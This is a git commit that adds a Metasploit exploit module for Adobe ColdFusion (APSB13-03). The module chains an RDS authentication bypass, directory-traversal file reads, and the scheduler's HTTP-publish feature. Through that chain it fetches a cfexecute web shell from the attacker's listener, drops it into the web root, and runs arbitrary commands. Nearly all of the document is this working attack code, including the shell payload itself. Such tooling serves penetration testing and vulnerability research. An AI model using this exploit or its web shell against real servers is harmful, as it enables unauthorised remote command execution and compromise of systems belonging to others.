Initial commit of an exploit module for the CVEs covered by APSB13-03.
Not complete but will currently get command execution on Coldfusion 9.x instances with CSRF protection disabledunstable
Jon Hart
parent
0c25ffb4de
commit
f482496795
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@ -0,0 +1,588 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'digest/sha1'
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require 'openssl'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe ColdFusion APSB13-03',
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'Description' => %q{
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This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
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* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
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* CVE-2013-0629: directory traversal
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* CVE-2013-0632: authentication bypass
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},
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'Author' =>
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[
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'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-0625'],
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[ 'CVE', '2013-0629'],
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# we don't actually exploit this, as this is the backdoor
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# dropped by malware exploiting the other vulnerabilities
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[ 'CVE', '2013-0631'],
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[ 'CVE', '2013-0632'],
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],
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'Targets' =>
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[
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[ 'Unix CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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}
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],
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[ 'Universal',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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}
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],
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],
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'DefaultTarget' => 0,
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'Privileged' => true,
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'Platform' => [ 'win', 'linux' ],
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'DisclosureDate' => 'Jan 15 2013'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
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OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
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OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
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], self.class)
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register_advanced_options(
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[
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OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
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], self.class)
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end
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def check
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exploitable = 0
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exploitable += 1 if check_cve_2013_0629
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exploitable += 1 if check_cve_2013_0632
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exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
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end
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# Login any way possible, returning the cookies if successful, empty otherwise
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def login
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cf_cookies = {}
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ways = {
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'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
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'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
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'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
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}
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ways.each do |what, how|
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these_cookies = how.call
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if got_auth? these_cookies
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print_status "Authenticated using '#{what}' technique"
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cf_cookies = these_cookies
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break
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end
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end
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fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
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cf_cookies
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end
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def exploit
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# login
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cf_cookies = login
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# if we managed to login, get the listener read
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datastore['URIPATH'] = rand_text_alphanumeric(6) + ".cfm"
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start_service
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# schedule and execute the task to request the coldfusion exec
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# and drop it on disk
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schedule_exec cf_cookies
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# now that the coldfusion exec is on disk, execute it
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res = send_request_raw(
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{ 'uri' => "/CFIDE/" + datastore['URIPATH'], 'method' => 'GET' }, 25
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)
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print_status res.body.strip
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# XXX: now what?
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end
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def on_request_uri cli, request
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vprint_status "Recieved connection from #{cli.peerhost}:#{cli.peerport}"
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cf_payload = <<EOF
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<cfparam name="url.cmd" type="string" default="id"/>
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<cfparam name="url.args" type="string" default=""/>
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<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
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<cfoutput>#output#</cfoutput>
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EOF
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send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
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end
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# Given a hash of cookie key value pairs, return a string
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# suitable for use as an HTTP Cookie header
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def build_cookie_header cookies
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cookies.to_a.map { |a| a.join '=' }.join '; '
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end
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# this doesn't actually work
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def twiddle_csrf cookies, enable=false
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mode = (enable ? "Enabling" : "Disabling")
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print_status "#{mode} CSRF protection"
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params = {
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'SessEnable' => enable.to_s,
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}
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
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'method' => 'POST',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookies),
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'vars_post' => params,
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})
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if res
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if res.body =~ /SessionManagement should/
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print_error "Error #{mode} CSRF"
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end
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else
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print_error "No response while #{mode} CSRF"
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end
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end
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def schedule_exec cookies
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vprint_status "Attempting to schedule ColdFusion task"
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cookie_hash = cookies
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scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
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scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
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# make a request to the scheduletasks page to pick up the CSRF token
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, scheduletasks_path),
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'method' => 'GET',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookie_hash),
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})
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cookie_hash.merge! get_useful_cookies res
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if res
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# XXX: I can only seem to get this to work if 'Enable Session Variables'
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# is disabled (Server Settings -> Memory Variables)
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token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
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unless token
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print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
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#twiddle_csrf cookies, false
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token = ''
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end
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else
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fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
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end
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# make a request to the scheduletasks page again, this time passing in our CSRF token
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# in an attempt to get all of the other cookies used in a request
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cookie_hash.merge! get_useful_cookies res
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
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'method' => 'GET',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookie_hash),
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})
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fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
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# pick a unique task ID
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task_id = SecureRandom.uuid
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# drop the backdoor in the CFIDE directory so it can be executed
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publish_file = '../../wwwroot/CFIDE/' + datastore['URIPATH']
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# pick a start date. This must be in the future, so pick
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# one sufficiently far ahead to account for time zones,
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# improper time keeping, solar flares, drift, etc.
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start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
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params = {
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'csrftoken' => token,
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'TaskName' => task_id,
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'Group' => 'default',
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'Start_Date' => start_date,
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'End_Date' => '',
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'ScheduleType' => 'Once',
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'StartTimeOnce' => '1:37 PM',
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'Interval' => 'Daily',
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'StartTimeDWM' => '',
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'customInterval_hour' => '0',
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'customInterval_min' => '0',
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'customInterval_sec' => '0',
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'CustomStartTime' => '',
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'CustomEndTime' => '',
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'repeatradio' => 'norepeatforeverradio',
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'Repeat' => '',
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'crontime' => '',
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'Operation' => 'HTTPRequest',
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'ScheduledURL' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['URIPATH']}",
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'Username' => '',
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'Password' => '',
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'Request_Time_out' => '',
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'proxy_server' => '',
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'http_proxy_port' => '',
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'publish' => '1',
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'publish_file' => publish_file,
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'publish_overwrite' => 'on',
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'eventhandler' => '',
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'exclude' => '',
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'onmisfire' => '',
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'onexception' => '',
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'oncomplete' => '',
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'priority' => '5',
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'retrycount' => '3',
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'advancedmode' => 'true',
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'adminsubmit' => 'Submit',
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'taskNameOriginal' => task_id,
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'groupOriginal' => 'default',
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'modeOriginal' => 'server',
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}
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cookie_hash.merge! (get_useful_cookies res)
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, scheduleedit_path),
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'method' => 'POST',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookie_hash),
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'vars_post' => params,
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})
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if res
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# if there was something wrong with the task, capture those errors
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# print them and abort
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errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
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if errors.empty?
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if res.body =~ /SessionManagement should/
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fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
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end
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print_status "Created task #{task_id}"
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else
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fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
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end
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else
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fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
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end
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print_status "Executing task #{task_id}"
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
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'method' => 'GET',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookie_hash),
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})
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#twiddle_csrf cookies, true
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if datastore['DELETE_TASK']
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print_status "Removing task #{task_id}"
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
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'method' => 'GET',
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'connection' => 'TE, close',
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'cookie' => build_cookie_header(cookie_hash),
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})
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end
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print_status publish_file
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publish_file
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end
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# Given the HTTP response +res+, extract any interesting, non-empty
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# cookies, returning them as a hash
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def get_useful_cookies res
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set_cookie = res.headers['Set-Cookie']
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# Parse the Set-Cookie header
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parsed_cookies = CGI::Cookie.parse(set_cookie)
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# Clean up the cookies we got by:
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# * Dropping Path and Expires from the parsed cookies -- we don't care
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# * Dropping empty (reset) cookies
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%w(Path Expires).each do |ignore|
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parsed_cookies.delete ignore
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parsed_cookies.delete ignore.downcase
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end
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parsed_cookies.keys.each do |name|
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parsed_cookies[name].reject! { |value| value == '""' }
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end
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parsed_cookies.reject! { |name,values| values.empty? }
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# the cookies always seem to start with CFAUTHORIZATION_, but
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# give the module the ability to log what it got in the event
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# that this stops becoming an OK assumption
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unless parsed_cookies.empty?
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vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
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end
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cookie_pattern = /^CF/
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useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
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if useful_cookies.empty?
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vprint_status "No #{cookie_pattern} cookies found"
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else
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vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
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end
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useful_cookies
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end
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# Authenticates to ColdFusion Administrator via the adminapi using the
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# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
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# the provided credentials are for RDS, otherwise they are assumed to be
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# credentials for ColdFusion Administrator.
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#
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# Returns a hash (cookie name => value) of the cookies obtained
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def adminapi_login user, password, use_rds
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vprint_status "Attempting ColdFusion Administrator adminapi login"
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user ||= ''
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password ||= ''
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
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'method' => 'POST',
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'connection' => 'TE, close',
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'vars_post' => {
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'method' => 'login',
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'adminUserId' => user,
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'adminPassword' => password,
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'rdsPasswordAllowed' => (use_rds ? '1' : '0')
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}
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})
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if res
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if res.code == 200
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vprint_status "HTTP #{res.code} when authenticating"
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return get_useful_cookies(res)
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else
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print_error "HTTP #{res.code} when authenticating"
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end
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else
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print_error "No response when authenticating"
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end
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{}
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end
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# Authenticates to ColdFusion Administrator using the specified +user+ and
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# +password+
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#
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# Returns a hash (cookie name => value) of the cookies obtained
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def administrator_login user, password
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cf_cookies = administrator_9x_login user, password
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unless got_auth? cf_cookies
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cf_cookies = administrator_10x_login user, password
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end
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cf_cookies
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end
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def administrator_10x_login user, password
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# coldfusion 10 appears to do:
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# cfadminPassword.value = hex_sha1(cfadminPassword.value)
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vprint_status "Trying ColdFusion 10.x Administrator login"
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
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'method' => 'POST',
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'vars_post' => {
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'cfadminUserId' => user,
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'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
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'requestedURL' => '/CFIDE/administrator/index.cfm',
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'submit' => 'Login',
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}
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})
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if res
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if res.code.to_s =~ /^30[12]/
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useful_cookies = get_useful_cookies res
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if got_auth? useful_cookies
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return useful_cookies
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end
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else
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if res.body =~ /<title>Error/i
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print_status "Appears to be restricted and/or not ColdFusion 10.x"
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elsif res.body =~ /A License exception has occurred/i
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print_status "Is license restricted"
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else
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vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
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vprint_status res.body
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end
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end
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end
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return {}
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end
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def got_auth? cookies
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not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
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end
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def administrator_9x_login user, password
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vprint_status "Trying ColdFusion 9.x Administrator login"
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# coldfusion 9 appears to do:
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# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
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#
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# You can get a current salt from
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# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
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#
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# Unfortunately that URL might be restricted and the salt really just looks
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# to be the current time represented as the number of milliseconds since
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# the epoch, so just use that
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salt = (Time.now.to_i * 1000).to_s
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pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
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'method' => 'POST',
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'vars_post' => {
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'submit' => 'Login',
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'salt' => salt,
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'cfadminUserId' => user,
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'requestedURL' => '/CFIDE/administrator/index.cfm',
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'cfadminPassword' => pass,
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}
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})
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if res
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return get_useful_cookies res
|
||||
else
|
||||
print_error "No response while trying ColdFusion 9.x authentication"
|
||||
end
|
||||
|
||||
{}
|
||||
end
|
||||
|
||||
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
|
||||
#
|
||||
# Returns a hash (cookie name => value) of the cookies obtained
|
||||
def componentutils_login user, password
|
||||
vprint_status "Attempting ColdFusion ComponentUtils login"
|
||||
vars = {
|
||||
'j_password_required' => "Password+Required",
|
||||
'submit' => 'Login',
|
||||
}
|
||||
vars['rdsUserId'] = user if user
|
||||
vars['j_password'] = password if password
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
|
||||
'method' => 'POST',
|
||||
'connection' => 'TE, close',
|
||||
'vars_post' => vars
|
||||
})
|
||||
|
||||
cf_cookies = {}
|
||||
if res.code.to_s =~ /^(?:200|30[12])$/
|
||||
cf_cookies = get_useful_cookies res
|
||||
else
|
||||
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
|
||||
end
|
||||
|
||||
cf_cookies
|
||||
end
|
||||
|
||||
def check_cve_2013_0629
|
||||
vulns = 0
|
||||
paths = %w(../../../license.txt ../../../../license.html)
|
||||
|
||||
# first try password-less bypass in the event that this thing
|
||||
# was just wide open
|
||||
vuln_without_creds = false
|
||||
paths.each do |path|
|
||||
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_without_creds = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if vuln_without_creds
|
||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
|
||||
else
|
||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
|
||||
end
|
||||
|
||||
# if credentials are provided, try those too
|
||||
if datastore['USERNAME'] and datastore['PASSWORD']
|
||||
vuln_without_bypass = false
|
||||
paths.each do |path|
|
||||
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
|
||||
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_without_bypass = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if vuln_without_bypass
|
||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
|
||||
else
|
||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
|
||||
end
|
||||
end
|
||||
|
||||
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
|
||||
vuln_with_bypass = false
|
||||
paths.each do |path|
|
||||
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
|
||||
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
|
||||
# and use it for CFAUTHORIZATION_componentutils
|
||||
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
|
||||
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
|
||||
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_with_bypass = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if vuln_with_bypass
|
||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
|
||||
else
|
||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
|
||||
end
|
||||
|
||||
vulns > 0
|
||||
end
|
||||
|
||||
# Checks for CVE-2013-0632, returning true if the target is
|
||||
# vulnerable, false otherwise
|
||||
def check_cve_2013_0632
|
||||
if datastore['USERDS']
|
||||
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
|
||||
# subsequently *enabled* after install, the password is unset so we simply must
|
||||
# check that and only that.
|
||||
cf_cookies = adminapi_login 'foo', 'bar', true
|
||||
if cf_cookies.empty?
|
||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
|
||||
else
|
||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def traverse_read path, cookies
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
|
||||
uri << path
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'connection' => 'TE, close',
|
||||
'cookie' => build_cookie_header(cookies)
|
||||
})
|
||||
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue